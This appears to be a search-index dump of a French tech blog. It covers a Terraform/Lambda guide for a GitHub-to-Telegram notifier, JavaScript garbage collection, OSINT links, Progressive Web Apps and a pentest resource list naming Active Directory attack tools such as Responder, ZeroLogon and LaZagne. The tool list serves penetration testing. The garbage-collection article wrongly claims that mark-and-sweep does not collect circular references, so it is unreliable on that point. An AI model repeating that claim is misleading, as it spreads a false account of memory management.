\u0026#34;String\u0026#34; value = \u0026#34;\u0026#34; lifecycle { ignore_changes = [value] } } resource \u0026#34;aws_ssm_parameter\u0026#34; \u0026#34;state_last_poll\u0026#34; { name = \u0026#34;${var.ssm_prefix}/state/last-poll-timestamp\u0026#34; type = \u0026#34;String\u0026#34; value = \u0026#34;1970-01-01T00:00:00Z\u0026#34; lifecycle { ignore_changes = [value] } } resource \u0026#34;aws_ssm_parameter\u0026#34; \u0026#34;state_rate_limit_remaining\u0026#34; { name = \u0026#34;${var.ssm_prefix}/state/rate-limit-remaining\u0026#34; type = \u0026#34;String\u0026#34; value = \u0026#34;5000\u0026#34; lifecycle { ignore_changes = [value] } } resource \u0026#34;aws_ssm_parameter\u0026#34; \u0026#34;state_rate_limit_reset\u0026#34; { name = \u0026#34;${var.ssm_prefix}/state/rate-limit-reset\u0026#34; type = \u0026#34;String\u0026#34; value = \u0026#34;0\u0026#34; lifecycle { ignore_changes = [value] } } resource \u0026#34;aws_ssm_parameter\u0026#34; \u0026#34;state_crash_count\u0026#34; { name = \u0026#34;${var.ssm_prefix}/state/crash-count\u0026#34; type = \u0026#34;String\u0026#34; value = \u0026#34;0\u0026#34; lifecycle { ignore_changes = [value] } } resource \u0026#34;aws_ssm_parameter\u0026#34; \u0026#34;state_paused\u0026#34; { name = \u0026#34;${var.ssm_prefix}/state/paused\u0026#34; type = \u0026#34;String\u0026#34; value = \u0026#34;false\u0026#34; lifecycle { ignore_changes = [value] } } resource \u0026#34;aws_ssm_parameter\u0026#34; \u0026#34;state_muted_repos\u0026#34; { name = \u0026#34;${var.ssm_prefix}/state/muted-repos\u0026#34; type = \u0026#34;String\u0026#34; value = \u0026#34;[]\u0026#34; lifecycle { ignore_changes = [value] } } resource \u0026#34;aws_ssm_parameter\u0026#34; \u0026#34;state_thread_map\u0026#34; { name = \u0026#34;${var.ssm_prefix}/state/thread-map\u0026#34; type = \u0026#34;String\u0026#34; value = \u0026#34;{}\u0026#34; lifecycle { ignore_changes = [value] } } Étape 6 — Déploiement # cd github-notifier/terraform terraform init terraform apply Terraform va créer ~15 ressources AWS. À la fin, il affiche la function_url :\nOutputs: function_url = \u0026#34;https://\u0026lt;ID\u0026gt;.lambda-url.\u0026lt;REGION\u0026gt;.on.aws/\u0026#34; lambda_arn = \u0026#34;arn:aws:lambda:\u0026lt;REGION\u0026gt;:\u0026lt;ACCOUNT_ID\u0026gt;:function:github-notifier\u0026#34; Configure maintenant le webhook Telegram pour pointer vers ta Function URL :\ncurl \u0026#34;https://api.telegram.org/bot\u0026lt;TON_TOKEN\u0026gt;/setWebhook?url=\u0026lt;FUNCTION_URL\u0026gt;\u0026#34; Tu dois obtenir :\n{\u0026#34;ok\u0026#34;: true, \u0026#34;result\u0026#34;: true, \u0026#34;description\u0026#34;: \u0026#34;Webhook was set\u0026#34;} Teste en envoyant /help dans Telegram. Le bot doit répondre avec la liste des commandes.\nÉtape 7 — Tester les notifications # Attention : GitHub ne génère pas de notification pour tes propres actions. Si tu crées toi-même une issue sur ton repo, tu ne recevras rien.\nPour tester, tu as besoin qu\u0026rsquo;un autre compte effectue une action sur tes repos :\nOuvre une issue sur l\u0026rsquo;un de tes repos Commente une PR existante Crée une PR depuis un fork Si tu n\u0026rsquo;as pas de collaborateur sous la main, crée un second compte GitHub gratuit, ajoute-le en collaborateur sur un repo, et effectue des actions depuis ce second compte.\nTroubleshooting # \u0026ldquo;La Lambda n\u0026rsquo;apparaît pas dans aws lambda list-functions\u0026rdquo;\nVérification de région. La région Terraform et la région configurée dans ton AWS CLI doivent correspondre :\n# Région du CLI aws configure get region # Région Terraform dans variables.tf grep aws_region terraform/variables.tf Si elles diffèrent, soit passe --region \u0026lt;REGION\u0026gt; à toutes tes commandes CLI, soit mets à jour variables.tf.\n\u0026ldquo;Function URL retourne 403 Forbidden\u0026rdquo;\nC\u0026rsquo;est le piège principal depuis octobre 2025. Vérifie que les deux permissions sont en place :\naws lambda get-policy --function-name github-notifier | python3 -m json.tool Tu dois voir deux statements : AllowFunctionURL (action lambda:InvokeFunctionUrl) ET AllowPublicInvoke (action lambda:InvokeFunction). Si l\u0026rsquo;un manque, refais un terraform apply.\n\u0026quot;/help ne répond pas sur Telegram\u0026quot;\nVérifie l\u0026rsquo;état du webhook :\ncurl \u0026#34;https://api.telegram.org/bot\u0026lt;TON_TOKEN\u0026gt;/getWebhookInfo\u0026#34; Contrôle que url pointe bien vers ta Function URL et que last_error_message est vide.\n\u0026ldquo;Last poll: 20549d ago\u0026rdquo; dans /status\nNormal au premier lancement. Le timestamp initial est 1970-01-01T00:00:00Z (epoch). Il se corrige au premier poll réussi. Si au bout de 4 minutes c\u0026rsquo;est encore à epoch, vérifie que l\u0026rsquo;EventBridge Scheduler est bien créé et actif.\n\u0026ldquo;Pas de logs dans CloudWatch\u0026rdquo;\nLa Lambda n\u0026rsquo;a pas encore été invoquée, le log group n\u0026rsquo;est pas créé avant la première exécution. Vérifie que le scheduler est actif :\naws scheduler get-schedule --name github-notifier-poll Conclusion # Tu as maintenant un bot Telegram qui :\nPoll GitHub toutes les 2 minutes via EventBridge Scheduler Formate 10 types de notifications différemment (PR, Issue, Release, CI, Sécurité…) Thread les messages par sujet pour éviter le bruit Déduplique les notifications groupées sur un même objet Monitore le rate limit et les crashes avec des alertes actionnables Supporte 7 commandes pour contrôler le bot depuis Telegram Coûte 0€ grâce au free tier permanent AWS Quelques pistes pour aller plus loin :\nPriorités visuelles : ajouter un niveau d\u0026rsquo;urgence par combinaison (type, reason) et utiliser des emoji différents Filtre par reason : ignorer les notifications subscribed pour réduire le bruit sur les repos très actifs Résumé hebdomadaire : ajouter une commande /summary qui agrège les stats de la semaine depuis les logs CloudWatch Multi-compte : stocker plusieurs tokens GitHub dans SSM avec un préfixe différent et les poller en parallèle ","date":"5 janvier 2026","permalink":"/dev-posts/github-telegram-notifier/","section":"Dev-Posts","summary":"Guide complet pour déployer un bot Telegram qui forwarde toutes vos notifications GitHub en temps quasi-réel, avec des messages stylés par type. Coût total : 0€, pour toujours.","title":"Recevoir ses notifications GitHub sur Telegram gratuitement avec AWS Lambda"},{"content":"","date":"5 janvier 2026","permalink":"/tags/","section":"Tags","summary":"","title":"Tags"},{"content":"","date":"5 janvier 2026","permalink":"/tags/telegram/","section":"Tags","summary":"","title":"Telegram"},{"content":"","date":"5 janvier 2026","permalink":"/tags/terraform/","section":"Tags","summary":"","title":"Terraform"},{"content":"","date":"17 janvier 2023","permalink":"/cyber-posts-audits/","section":"Cyber-Posts-Audits","summary":"","title":"Cyber-Posts-Audits"},{"content":"","date":"17 janvier 2023","permalink":"/categories/cybers%C3%A9curit%C3%A9/","section":"Categories","summary":"","title":"Cybersécurité"},{"content":"","date":"17 janvier 2023","permalink":"/tags/cybers%C3%A9curit%C3%A9/","section":"Tags","summary":"","title":"Cybersécurité"},{"content":"","date":"17 janvier 2023","permalink":"/tags/garbage-collection/","section":"Tags","summary":"","title":"Garbage Collection"},{"content":" Garbage Collection en JavaScript # Une brève introduction à la gestion de la mémoire # Définition # Le Garbage Collector en JavaScript est un mécanisme qui libère automatiquement la mémoire qui n\u0026rsquo;est plus utilisée par le programme. Lorsqu\u0026rsquo;un programme crée des objets ou des variables, il réserve de la mémoire dans la RAM de l\u0026rsquo;ordinateur pour les stocker. Avec le temps, la mémoire utilisée par le programme peut augmenter, ce qui peut causer des problèmes de performance ou même faire planter le programme. Le Garbage Collector résout ce problème en identifiant et en supprimant les objets et les variables qui ne sont plus utilisés.\nPourquoi le Garbage Collection ? # La gestion manuelle de la mémoire est source d\u0026rsquo;erreurs. Les fuites de mémoire (lorsque la mémoire n\u0026rsquo;est pas libérée) et les accès à des zones de mémoire déjà libérées sont des erreurs courantes qui peuvent être difficiles à détecter et à corriger. Le GC aide à prévenir ces erreurs en automatisant la gestion de la mémoire.\nGestion de la mémoire en C vs JavaScript # En C, la gestion de la mémoire est manuelle. Lorsque vous allouez de la mémoire avec malloc(), vous devez explicitement la libérer avec free(). Si vous oubliez, cela entraîne une fuite de mémoire. En revanche, JavaScript automatise ce processus avec le Garbage Collection (GC).\ntypedef struct { char key[10]; char value[10]; } Object; Object* createObject() { Object* obj = (Object*)malloc(sizeof(Object)); strcpy(obj-\u0026gt;key, \u0026#34;key\u0026#34;); strcpy(obj-\u0026gt;value, \u0026#34;value\u0026#34;); return obj; } int main() { Object* obj = createObject(); // ... utilisation de l\u0026#39;objet ... free(obj); // Libération manuelle de la mémoire return 0; } Alors qu\u0026rsquo;en JavaScript, la mémoire est automatiquement libérée lorsque les objets ne sont plus référencés.\nfunction createObject() { return { key: \u0026#34;key\u0026#34;, value: \u0026#34;value\u0026#34; }; } let obj = createObject(); // ... utilisation de l\u0026#39;objet ... obj = null; // Indication pour le Garbage Collector que l\u0026#39;objet n\u0026#39;est plus nécessaire Dans cet exemple, en C, nous définissons une structure Object et allouons de la mémoire pour elle avec malloc(). Après avoir utilisé l\u0026rsquo;objet, nous devons explicitement libérer la mémoire avec free(). En revanche, en JavaScript, après avoir utilisé l\u0026rsquo;objet, nous pouvons simplement déréférencer l\u0026rsquo;objet en affectant null à la variable, et le Garbage Collector se chargera de libérer la mémoire pour nous.\nStack vs Heap # La mémoire en informatique est divisée en deux zones principales : la stack (pile) et le heap (tas). La stack est une zone de mémoire organisée de manière LIFO (Last In, First Out) où les données sont stockées et récupérées en suivant l\u0026rsquo;ordre d\u0026rsquo;arrivée. Elle est utilisée pour stocker des variables primitives et des pointeurs vers des objets. Le heap, en revanche, est une zone de mémoire moins organisée où les objets sont stockés.\nEn JavaScript, lorsque vous déclarez une variable primitive (comme un int ou un bool), elle est stockée dans la stack. Mais quand vous créez un objet, il est stocké dans le heap, et seul un pointeur vers cet objet est stocké dans la stack.\nN.B : La différence entre variable primitive et Objet est qu\u0026rsquo;une variable primitive sont de type natif au langage, par exemple en Javascript il s\u0026rsquo;agit de boolean, number, string, null, bigint, symbol ou undefined, alors qu\u0026rsquo;un objet c\u0026rsquo;est tout ce qui n\u0026rsquo;est pas un type primitif est considéré comme un objet en JavaScript. Cela inclut les fonctions, les tableaux, les dates, les expressions régulières et, bien sûr, les objets littéraux.\nComment fonctionne le Garbage collection en JavaScript ? # Algorithme de base : Référence comptage # L\u0026rsquo;une des approches les plus simples pour le GC est le \u0026ldquo;comptage de référence\u0026rdquo;. L\u0026rsquo;idée est simple : chaque objet a un compteur qui garde une trace du nombre de références à cet objet. Lorsque cet objet n\u0026rsquo;est plus référencé, le compteur atteint zéro et la mémoire peut être libérée.\nCependant, cette approche a un inconvénient majeur : elle ne peut pas gérer les références circulaires. Par exemple, si deux objets se référencent mutuellement, leur compteur ne sera jamais zéro, même s\u0026rsquo;ils ne sont plus utilisés ailleurs dans le programme.\nRéférence comptage Algorithme de marquage et de balayage (Actuel) # JavaScript utilise principalement cet algorithme pour le GC. L\u0026rsquo;idée est de \u0026ldquo;marquer\u0026rdquo; tous les objets vivants, puis de \u0026ldquo;balayer\u0026rdquo; et de libérer la mémoire des objets non marqués.\nMark-Sweep initial Lors de la phase de marquage, le GC commence par les \u0026ldquo;racines\u0026rdquo;, qui sont généralement des objets globaux accessibles directement (comme window en navigateur). Il marque ces objets, puis parcourt leurs références, marquant chaque objet rencontré. Ce processus se répète récursivement jusqu\u0026rsquo;à ce que tous les objets accessibles soient marqués.\nEnsuite, lors de la phase de balayage, le GC parcourt tous les objets et libère la mémoire des objets non marqués. (non accessible)\nMark-Sweep suppression Cet algorithme est appelé Mark-Sweep où le GC commence par un ensemble de \u0026ldquo;racines\u0026rdquo; (généralement l\u0026rsquo;objet global et tout objet ou variable actuellement utilisé). L\u0026rsquo;algorithme parcourt ensuite récursivement le graphe d\u0026rsquo;objets, marquant tous les objets et variables encore utilisés. Une fois tous les objets vivants marqués, le Garbage Collector supprime tous les objets non marqués.\nCycle de collecte # Le GC ne s\u0026rsquo;exécute pas en continu. Il fonctionne par cycles, en fonction de l\u0026rsquo;allocation de la mémoire, des besoins du programme et d\u0026rsquo;autres facteurs. Pendant un cycle de collecte, le GC marquera et balayera la mémoire, libérant ainsi l\u0026rsquo;espace inutilisé.\nFuites de mémoire et références circulaires # Même avec le GC, les fuites de mémoire peuvent encore se produire en JavaScript, en particulier à cause des références circulaires. Considérez l\u0026rsquo;exemple suivant :\nfunction fuiteDeMemoire() { let obj1 = {}; let obj2 = {}; obj1.a = obj2; // obj1 référence obj2 obj2.a = obj1; // obj2 référence obj1 } fuiteDeMemoire(); Ici, obj1 et obj2 se référencent mutuellement, créant une référence circulaire. Même si ces objets ne sont plus accessibles après l\u0026rsquo;exécution de la fonction, ils ne sont pas collectés par le GC car ils se référencent toujours mutuellement.\nOptimisation de la gestion de la mémoire en JavaScript # Utilisation explicite de null # L\u0026rsquo;une des meilleures pratiques pour aider le GC est de déréférencer explicitement les objets lorsque vous n\u0026rsquo;en avez plus besoin.\nlet grosObjet = { /* ... des données volumineuses ... */ }; // ... utilisation de grosObjet ... grosObjet = null; Éviter les fermetures globales # Les fermetures (ou closures en anglais) sont une caractéristique puissante de JavaScript qui permet à une fonction d\u0026rsquo;avoir accès à son environnement lexical externe. Cependant, si elles sont utilisées de manière excessive ou inappropriée, en particulier au niveau global, elles peuvent entraîner des fuites de mémoire car elles retiennent des références à des objets qui ne sont plus nécessaires.\nlet data = fetchData(); // Supposons que cette fonction récupère des données window.processData = function() { // Utilise les données console.log(data); } Dans cet exemple, la fonction processData est une fermeture globale qui retient une référence à data. Même si vous n\u0026rsquo;avez plus besoin de data ailleurs, elle ne sera pas récupérée par le garbage collection tant que processData existe.\nUtiliser des outils de profilage # Les outils de profilage, comme ceux disponibles dans les DevTools des navigateurs modernes, peuvent aider à identifier les fuites de mémoire, les zones de code gourmandes en ressources et d\u0026rsquo;autres problèmes de performance. Ils offrent des visualisations et des analyses détaillées de l\u0026rsquo;utilisation de la mémoire, des appels de fonctions, et plus encore.\nPar exemple on peut utiliser les DevTools de Chrome : il suffit d\u0026rsquo;aller dans l\u0026rsquo;onglet \u0026ldquo;Memory\u0026rdquo; et prendre un instantané de la mémoire. on peut ensuite inspecter les objets, voir leur taille et identifier d\u0026rsquo;éventuelles fuites de mémoire.\nUtiliser des variables locales # Les variables locales sont détruites une fois que la fonction qui les contient a terminé son exécution. Cela aide à libérer de la mémoire plus rapidement. En revanche, les variables globales persistent jusqu\u0026rsquo;à ce que la page soit fermée ou rechargée, ce qui peut entraîner une consommation inutile de mémoire.\nfunction processData() { let localData = fetchData(); // Variable locale console.log(localData); } Dans cet exemple, une fois que processData a terminé son exécution, localData est éligible pour le garbage collection.\nNettoyer les écouteurs d\u0026rsquo;événements # Si vous ajoutez des écouteurs d\u0026rsquo;événements à des éléments DOM, il est essentiel de les supprimer lorsque vous n\u0026rsquo;en avez plus besoin, en particulier pour les éléments qui sont supprimés du DOM. Si vous ne le faites pas, cela peut entraîner des fuites de mémoire car les éléments DOM et les fonctions associées ne peuvent pas être récupérés par le garbage collection.\nlet button = document.getElementById(\u0026#39;myButton\u0026#39;); button.addEventListener(\u0026#39;click\u0026#39;, handleButtonClick); function removeButton() { button.removeEventListener(\u0026#39;click\u0026#39;, handleButtonClick); button.parentNode.removeChild(button); } Dans cet exemple, avant de supprimer le bouton du DOM avec removeButton, nous supprimons d\u0026rsquo;abord l\u0026rsquo;écouteur d\u0026rsquo;événements associé pour éviter une fuite de mémoire.\n","date":"17 janvier 2023","permalink":"/dev-posts/garbage-collector/","section":"Dev-Posts","summary":"Un examen technique approfondi du Garbage Collection en JavaScript, en comparant les mécanismes de gestion de la mémoire avec des langages de bas niveau comme le C, et en explorant les détails internes du ramasse-miettes.","title":"Garbage Collection en JavaScript : Une plongée profonde dans la gestion de la mémoire"},{"content":"","date":"17 janvier 2023","permalink":"/tags/javascript/","section":"Tags","summary":"","title":"JavaScript"},{"content":"","date":"17 janvier 2023","permalink":"/tags/m%C3%A9moire/","section":"Tags","summary":"","title":"Mémoire"},{"content":"","date":"17 janvier 2023","permalink":"/tags/offline/","section":"Tags","summary":"","title":"Offline"},{"content":"","date":"17 janvier 2023","permalink":"/tags/optimisation/","section":"Tags","summary":"","title":"Optimisation"},{"content":"","date":"17 janvier 2023","permalink":"/tags/osint/","section":"Tags","summary":"","title":"OSINT"},{"content":"On m\u0026rsquo;a souvent longuement demandé comment je faisais mes OSINT, du coup je vais rédiger cet article au fur et à mesure pour y ajouter différentes informations sur l\u0026rsquo;OSINT et les outils que j\u0026rsquo;utilise pour chacune de mes étapes en fonction du contexte, pour le moment, ça va rester un article en vrac où il y a différents liens très peu connus mais intéressants.\nhttps://github.com/lissy93/web-check https://github.com/andreyglauzer/VigilantOnion https://github.com/danieleperera/OnionIngestor https://osintframework.com/ ","date":"17 janvier 2023","permalink":"/cyber-posts-audits/osint/","section":"Cyber-Posts-Audits","summary":"Article non encore complet, en cours de rédaction","title":"OSINT : L'art de trouver l'information sur internet."},{"content":"","date":"17 janvier 2023","permalink":"/categories/passi/","section":"Categories","summary":"","title":"PASSI"},{"content":"","date":"17 janvier 2023","permalink":"/tags/passi/","section":"Tags","summary":"","title":"PASSI"},{"content":"","date":"17 janvier 2023","permalink":"/tags/pentest/","section":"Tags","summary":"","title":"Pentest"},{"content":"L\u0026rsquo;article sur le pentest, ou test d\u0026rsquo;intrusion n\u0026rsquo;est pas encore prêt, mais j\u0026rsquo;ai décidé de lister quand même plusieurs repo/write-ups intéressants que j\u0026rsquo;ai déjà vu, ou que je trouverai au fur et à mesure que je réalise mes différentes missions :\nLiens utiles # General # Impacket CrackmapExec Nmap Web # Apache # Apache Hadoop Wappalyzer Windows environment # AD # BloodHound PingCastle Purple Knight Kerbrute lsassy Enum4Linux PrintNightMare scan- ItWasAllADream sAMAccountName - Pachine LLMNR Poisonning - Responder SmartBrute SMBMap noPac ZeroLogon Certipy Enumeration of users - ldapnomnom ADCSPwn Privilege escalation # WinPeas Linux Environment # Privilege escalation # Z/OS LinPeas Passwords # Password Spraying # powershell old passwd Extract Passwords # retrieve password - LaZagne Android # dexcalibur Forensic # AD persistence Cloud pentest # Cheatsheet AWS Write-ups specific Apps # Only Office Blogs intéressants # hackndo bats3c AD Lab ","date":"17 janvier 2023","permalink":"/cyber-posts-audits/pentest/","section":"Cyber-Posts-Audits","summary":"Article non encore complet, en cours de rédaction","title":"Pentest : Plongée au cœur des tests d'intrusion de vos systèmes."},{"content":"","date":"17 janvier 2023","permalink":"/tags/performance/","section":"Tags","summary":"","title":"Performance"},{"content":"","date":"17 janvier 2023","permalink":"/tags/pr%C3%A9paration/","section":"Tags","summary":"","title":"Préparation"},{"content":" Progressive Web Apps (PWA) : Exploration technique détaillée # Introduction aux Progressive Web Apps # Définition # Les Progressive Web Apps (PWA) sont des applications web qui utilisent les dernières technologies web pour offrir une expérience utilisateur similaire à celle des applications natives. Elles sont conçues pour fonctionner sur n\u0026rsquo;importe quelle plateforme qui utilise un navigateur compatible, offrant ainsi une expérience cohérente sur les appareils mobiles, les ordinateurs de bureau et autres.\nPourquoi les PWA ? # Avec l\u0026rsquo;évolution rapide des technologies web, il est devenu possible d\u0026rsquo;offrir des expériences riches et engageantes directement dans le navigateur, sans nécessiter d\u0026rsquo;installation d\u0026rsquo;applications spécifiques. Les PWA combinent le meilleur des applications web et natives :\nAccessibilité : Les PWA sont accessibles via le navigateur, ce qui signifie qu\u0026rsquo;aucun téléchargement depuis un app store n\u0026rsquo;est nécessaire pour y accéder. Cependant, cela ne signifie pas qu\u0026rsquo;il n\u0026rsquo;y a pas de téléchargement du tout. Lorsque vous accédez à une PWA pour la première fois, les ressources nécessaires (comme les scripts, les images et les styles) sont téléchargées en arrière-plan et mises en cache pour une utilisation ultérieure. Mise à jour : Les PWA se mettent à jour automatiquement car elles récupèrent les nouvelles versions des ressources directement depuis le serveur web chaque fois qu\u0026rsquo;elles sont disponibles. Cela contraste avec les applications natives qui nécessitent souvent une mise à jour manuelle via un app store. Indépendance du réseau : Bien que les PWA soient accessibles via le navigateur, elles peuvent fonctionner hors ligne grâce aux service workers. Les service workers permettent de mettre en cache les ressources nécessaires, de sorte que même si vous n\u0026rsquo;avez pas de connexion Internet, la PWA peut toujours fonctionner avec les données mises en cache. Sécurité : Les PWA sont servies via HTTPS, ce qui garantit que les données sont cryptées pendant le transit et ne peuvent pas être altérées. Cela garantit une connexion sécurisée entre l\u0026rsquo;utilisateur et le serveur. Il faut garder en tête, qu\u0026rsquo;en parlant d\u0026rsquo;application, on ne se limite pas à application mobile. Le principal avantage du PWA est la nature multiplateforme vu que souvent c\u0026rsquo;est des applications désignés pour être responsives.\nCaractéristiques clés # Responsive : Les PWA s\u0026rsquo;adaptent à n\u0026rsquo;importe quelle taille d\u0026rsquo;écran, qu\u0026rsquo;il s\u0026rsquo;agisse d\u0026rsquo;un téléphone, d\u0026rsquo;une tablette ou d\u0026rsquo;un ordinateur de bureau. Indépendance du réseau : Grâce aux service workers, les PWA peuvent fonctionner hors ligne. App-like : Les PWA offrent une expérience similaire à celle des applications natives grâce à l\u0026rsquo;utilisation d\u0026rsquo;une shell d\u0026rsquo;application et à des interactions similaires à celles des applications. Mises à jour fraîches : Les mises à jour sont appliquées en arrière-plan grâce aux service workers. Sécurisé : Servi via HTTPS pour éviter les interceptions et garantir le contenu. Découvrable : Les PWA sont identifiables comme des \u0026ldquo;applications\u0026rdquo; grâce aux manifestes W3C et au service worker, permettant aux moteurs de recherche de les trouver. Ré-engagement : Les fonctionnalités comme les notifications push permettent de réengager facilement les utilisateurs. Installable : Les utilisateurs peuvent \u0026ldquo;garder\u0026rdquo; les PWA qu\u0026rsquo;ils trouvent les plus utiles sur leur écran d\u0026rsquo;accueil, sans passer par un app store. Liens partageables : Les PWA conservent la nature partageable du web, chaque page ayant son propre URL. Explication Google Service Workers : Le cœur des PWA # Qu\u0026rsquo;est-ce qu\u0026rsquo;un Service Worker ? # Un service worker est essentiellement un script JavaScript qui s\u0026rsquo;exécute en arrière-plan, indépendamment de la page web, ouvrant la voie à des fonctionnalités sans interaction utilisateur, telles que les notifications push et les mises à jour en arrière-plan. Il agit comme un proxy entre les applications web et le réseau, permettant de gérer et de contrôler efficacement les requêtes réseau.\nCycle de vie du Service Worker # Le cycle de vie du service worker est un processus distinct du téléchargement d\u0026rsquo;une application depuis un app store, et est entièrement indépendant de la page web. Il comprend les étapes suivantes :\nEnregistrement : L\u0026rsquo;enregistrement est la première étape pour mettre en place un service worker. Cela signifie simplement que le navigateur est informé de l\u0026rsquo;existence du service worker et de l\u0026rsquo;endroit où il doit être utilisé. L\u0026rsquo;enregistrement ne télécharge pas l\u0026rsquo;ensemble de l\u0026rsquo;application, mais seulement le script du service worker. Installation : Après l\u0026rsquo;enregistrement, le navigateur tente d\u0026rsquo;installer le service worker. Pendant cette phase, le service worker peut mettre en cache certaines ressources pour une utilisation hors ligne. C\u0026rsquo;est cette mise en cache qui permet à la PWA de fonctionner même sans connexion Internet. Activation : Une fois que le service worker est installé, il est activé. Pendant cette phase, le service worker peut effectuer des tâches telles que la gestion des anciens caches. Contrôle des clients : Une fois activé, le service worker peut commencer à intercepter les requêtes et à les traiter. Cela signifie qu\u0026rsquo;il peut décider de renvoyer une ressource depuis le cache plutôt que depuis le réseau, permettant ainsi à la PWA de fonctionner hors ligne. Service worker explication Mise en cache par les workers # Les service workers agissent comme des proxy entre les applications web et le réseau. Ils sont capables d\u0026rsquo;intercepter et de contrôler les requêtes réseau, ce qui les rend essentiels pour la mise en cache des ressources dans les PWA.\nInterception des requêtes : Lorsqu\u0026rsquo;une application tente d\u0026rsquo;accéder à une ressource, le service worker intercepte cette demande. Il peut alors décider de la traiter de différentes manières. Stratégies de mise en cache : Il existe plusieurs stratégies courantes pour la mise en cache avec les service workers : Cache First : Le service worker vérifie d\u0026rsquo;abord le cache. Si la ressource est présente, elle est renvoyée. Sinon, il effectue une requête réseau. Network First : Le service worker tente d\u0026rsquo;abord d\u0026rsquo;obtenir la ressource du réseau. Si cela échoue (par exemple, en mode hors ligne), il se replie sur le cache. Cache then Network : Le service worker répond d\u0026rsquo;abord depuis le cache, puis tente de récupérer la ressource depuis le réseau pour mettre à jour le cache. Mise à jour du cache : Les service workers peuvent également mettre à jour le cache en arrière-plan, garantissant que les utilisateurs disposent toujours des ressources les plus récentes. Manifeste d\u0026rsquo;application web # Le manifeste d\u0026rsquo;application web est essentiel pour définir comment la PWA doit se comporter lorsqu\u0026rsquo;elle est \u0026ldquo;installée\u0026rdquo; sur un appareil.\nDéfinition : C\u0026rsquo;est un fichier JSON qui contient des métadonnées sur la PWA. Il est référencé dans le code HTML de l\u0026rsquo;application via une balise . Propriétés clés : name et short_name : Le nom complet et le nom abrégé de l\u0026rsquo;application. icons : Une liste d\u0026rsquo;icônes pour différents appareils et résolutions. start_url : L\u0026rsquo;URL à ouvrir lorsque l\u0026rsquo;application est lancée depuis l\u0026rsquo;écran d\u0026rsquo;accueil. display : Comment l\u0026rsquo;application doit être affichée (par exemple, en plein écran, autonome, etc.). orientation : Définit l\u0026rsquo;orientation préférée (portrait ou paysage). background_color et theme_color : Couleurs pour le splash screen et la barre d\u0026rsquo;adresse du navigateur. Exemple de MAnifest d\u0026rsquo;une PWA fictive par exemple :\n{ \u0026#34;name\u0026#34;: \u0026#34;MyPhish - Sensibilisation au Phishing et Cybersécurité\u0026#34;, \u0026#34;short_name\u0026#34;: \u0026#34;MyPhish\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Une application éducative pour vous aider à reconnaître et éviter les tentatives de phishing, tout en renforçant vos connaissances en matière de cybersécurité.\u0026#34;, \u0026#34;lang\u0026#34;: \u0026#34;fr\u0026#34;, \u0026#34;start_url\u0026#34;: \u0026#34;/index.html\u0026#34;, \u0026#34;display\u0026#34;: \u0026#34;standalone\u0026#34;, \u0026#34;background_color\u0026#34;: \u0026#34;#0A74DA\u0026#34;, \u0026#34;theme_color\u0026#34;: \u0026#34;#0A74DA\u0026#34;, \u0026#34;orientation\u0026#34;: \u0026#34;portrait-primary\u0026#34;, \u0026#34;icons\u0026#34;: [ { \u0026#34;src\u0026#34;: \u0026#34;/images/icons/icon-48x48.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;48x48\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;/images/icons/icon-96x96.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;96x96\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;/images/icons/icon-144x144.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;144x144\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;/images/icons/icon-192x192.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;192x192\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; }, { \u0026#34;src\u0026#34;: \u0026#34;/images/icons/icon-512x512.png\u0026#34;, \u0026#34;sizes\u0026#34;: \u0026#34;512x512\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;image/png\u0026#34; } ], \u0026#34;related_applications\u0026#34;: [], \u0026#34;prefer_related_applications\u0026#34;: false, \u0026#34;scope\u0026#34;: \u0026#34;/app/\u0026#34;, \u0026#34;serviceworker\u0026#34;: { \u0026#34;src\u0026#34;: \u0026#34;/sw.js\u0026#34;, \u0026#34;scope\u0026#34;: \u0026#34;/app/\u0026#34;, \u0026#34;update_via_cache\u0026#34;: \u0026#34;none\u0026#34; } } Explication :\nname : Le nom complet de l\u0026rsquo;application \u0026ldquo;MyPhish - Sensibilisation au Phishing et Cybersécurité\u0026rdquo;. short_name : Un nom abrégé \u0026ldquo;MyPhish\u0026rdquo; pour l\u0026rsquo;application, utilisé là où l\u0026rsquo;espace est limité. description : Une description de l\u0026rsquo;application qui met en avant son objectif éducatif sur le phishing et la cybersécurité. background_color et theme_color : Une couleur bleue qui peut évoquer la sécurité et la confiance. icons : Une liste d\u0026rsquo;icônes pour différents appareils et résolutions. Ces icônes pourraient avoir un design de bouclier ou de cadenas pour symboliser la sécurité. related_applications : Vide dans cet exemple, car il n\u0026rsquo;y a pas d\u0026rsquo;applications natives associées. scope et serviceworker : Informations standard sur la portée de l\u0026rsquo;application et le service worker associé. Avantages des PWA par rapport aux applications natives # Mises à jour instantanées : Les PWA tirent parti des service workers pour mettre à jour les ressources en arrière-plan. Cela signifie que les utilisateurs n\u0026rsquo;ont pas à attendre ou à redémarrer l\u0026rsquo;application pour voir les mises à jour. Indépendance du système d\u0026rsquo;exploitation : Les PWA sont basées sur des standards web, ce qui les rend compatibles avec n\u0026rsquo;importe quel appareil doté d\u0026rsquo;un navigateur moderne, qu\u0026rsquo;il s\u0026rsquo;agisse d\u0026rsquo;Android, d\u0026rsquo;iOS, de Linux, de macOs ou même de Windows pour ceux qui l\u0026rsquo;utilisent encore en 2023. Pas de processus d\u0026rsquo;examen d\u0026rsquo;application : Sans la nécessité d\u0026rsquo;une soumission à un app store, les développeurs peuvent déployer des mises à jour dès qu\u0026rsquo;elles sont prêtes, sans attendre l\u0026rsquo;approbation d\u0026rsquo;une tierce partie. Moins d\u0026rsquo;espace de stockage : Les PWA stockent les données principalement dans le cache, ce qui signifie qu\u0026rsquo;elles n\u0026rsquo;ont pas besoin de réserver autant d\u0026rsquo;espace de stockage permanent que les applications natives. Limitations des PWA # Fonctionnalités du système d\u0026rsquo;exploitation : Les PWA peuvent ne pas avoir accès à toutes les fonctionnalités du système d\u0026rsquo;exploitation, comme les contacts ou les capteurs avancés. Performance : Bien que les PWA soient 